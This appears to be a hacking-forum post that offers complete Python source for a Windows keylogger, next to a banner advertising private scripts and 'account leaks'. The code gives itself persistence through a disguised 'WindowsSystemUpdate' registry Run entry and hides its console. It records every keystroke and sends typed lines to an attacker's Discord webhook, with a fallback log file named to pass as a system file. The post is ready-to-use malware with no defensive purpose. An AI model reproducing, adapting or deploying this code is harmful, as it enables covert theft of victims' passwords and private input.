[Python] Simple Keylogger

Project Majin

Newbie
Joined
11 Jun 2026
Messages
18
Reaction score
511
Points
78
JOIN MY PRIVATE FOR REAL SCRIPTS AND DAILY ACCOUNT LEAKS

ADVANCED KEYLOGGER:

NORMAL KEYLOGGER
Python:
import os
import sys
import time
import requests
import platform
import ctypes
from datetime import datetime
from pathlib import Path
 
def add_to_startup():
    try:
        import winreg
        script_path = os.path.abspath(sys.argv[0])
        key = winreg.HKEY_CURRENT_USER
        subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
        reg_key = winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, "WindowsSystemUpdate", 0, winreg.REG_SZ, script_path)
        winreg.CloseKey(reg_key)
    except:
        pass
 
add_to_startup()
 
WEBHOOK_URL = "" #Paste your Webhook
 
if platform.system() == "Windows":
    LOG_FILE = Path(os.environ.get("APPDATA", "")) / "Microsoft" / "Windows" / "system32.ini"
else:
    LOG_FILE = Path("/tmp/.systemd-log")
 
current_line = ""
last_key = None
last_key_time = 0
KEY_DELAY = 0.15
 
def hide_console():
    if platform.system() == "Windows":
        try:
            hwnd = ctypes.windll.kernel32.GetConsoleWindow()
            if hwnd:
                ctypes.windll.user32.ShowWindow(hwnd, 0)
        except:
            pass
 
hide_console()
 
def send_to_discord(text):
    if "DEINE_WEBHOOK_ID" in WEBHOOK_URL:
        save_locally(text)
        return
    try:
        if len(text) > 2000:
            text = text[:1997] + "..."
        payload = {
            "content": f"```\n{text}\n```",
            "username": "Key Logger",
            "avatar_url": "https://media1.tenor.com/m/va4X22k9bMUAAAAd/roblox-da-hood.gif"
        }
        response = requests.post(WEBHOOK_URL, json=payload, timeout=5)
        if response.status_code not in [200, 204]:
            save_locally(text)
    except:
        save_locally(text)
 
def save_locally(text):
    try:
        with open(LOG_FILE, "a", encoding="utf-8", errors="ignore") as f:
            timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            f.write(f"[{timestamp}] {text}\n")
    except:
        pass
 
class WindowsKeylogger:
    def __init__(self):
        self.running = True
        self.current_line = ""
        self.last_key_time = 0
        self.last_key = None
 
    def get_key(self):
        try:
            user32 = ctypes.windll.user32
            VK_SHIFT = 0x10
            VK_CONTROL = 0x11
            VK_MENU = 0x12
            VK_CAPITAL = 0x14
            VK_RETURN = 0x0D
            VK_BACK = 0x08
            VK_TAB = 0x09
            VK_ESCAPE = 0x1B
            VK_SPACE = 0x20
 
            def is_key_pressed(key):
                return bool(user32.GetAsyncKeyState(key) & 0x8000)
 
            if is_key_pressed(VK_CONTROL) and is_key_pressed(0x51): #Remove this to delte the function to close the script with ctrl + q
                self.running = False  #Remove this to delte the function to close the script with ctrl + q
                return None            #Remove this to delte the function to close the script with ctrl + q
 
            current_time = time.time()
 
            for key in range(8, 255):
                if is_key_pressed(key):
                    if key == self.last_key and (current_time - self.last_key_time) < KEY_DELAY:
                        return None
                    if key == self.last_key and (current_time - self.last_key_time) < 0.2:
                        return None
 
                    self.last_key = key
                    self.last_key_time = current_time
 
                    if key == VK_RETURN:
                        return "ENTER"
                    elif key == VK_BACK:
                        return "BACKSPACE"
                    elif key == VK_TAB:
                        return "TAB"
                    elif key == VK_ESCAPE:
                        return "ESC"
                    elif key == VK_SPACE:
                        return " "
 
                    shift = is_key_pressed(VK_SHIFT)
                    caps = is_key_pressed(VK_CAPITAL)
 
                    if 0x30 <= key <= 0x39:
                        chars = ")!@#$%^&*(" if shift else "0123456789"
                        idx = key - 0x30
                        return chars[idx] if idx < len(chars) else str(key - 0x30)
 
                    elif 0x41 <= key <= 0x5A:
                        char = chr(key)
                        if shift or caps:
                            return char.upper()
                        return char.lower()
 
                    elif 0xBA <= key <= 0xC0:
                        special = {
                            0xBA: (";", ":"),
                            0xBB: ("=", "+"),
                            0xBC: (",", "<"),
                            0xBD: ("-", "_"),
                            0xBE: (".", ">"),
                            0xBF: ("/", "?"),
                            0xC0: ("`", "~"),
                        }
                        if key in special:
                            return special[key][1] if shift else special[key][0]
 
                    return None
            return None
        except:
            return None
 
    def run(self):
        while self.running:
            try:
                key = self.get_key()
                if key is None:
                    time.sleep(0.01)
                    continue
 
                if key == "ENTER":
                    if self.current_line.strip():
                        send_to_discord(self.current_line.strip())
                        save_locally(self.current_line.strip())
                    self.current_line = ""
                elif key == "BACKSPACE":
                    if self.current_line:
                        self.current_line = self.current_line[:-1]
                else:
                    self.current_line += key
            except:
                time.sleep(0.01)
 
def main():
    if platform.system() != "Windows":
        return
    try:
        keylogger = WindowsKeylogger()
        keylogger.run()
    except:
        pass
 
if __name__ == "__main__":
    main()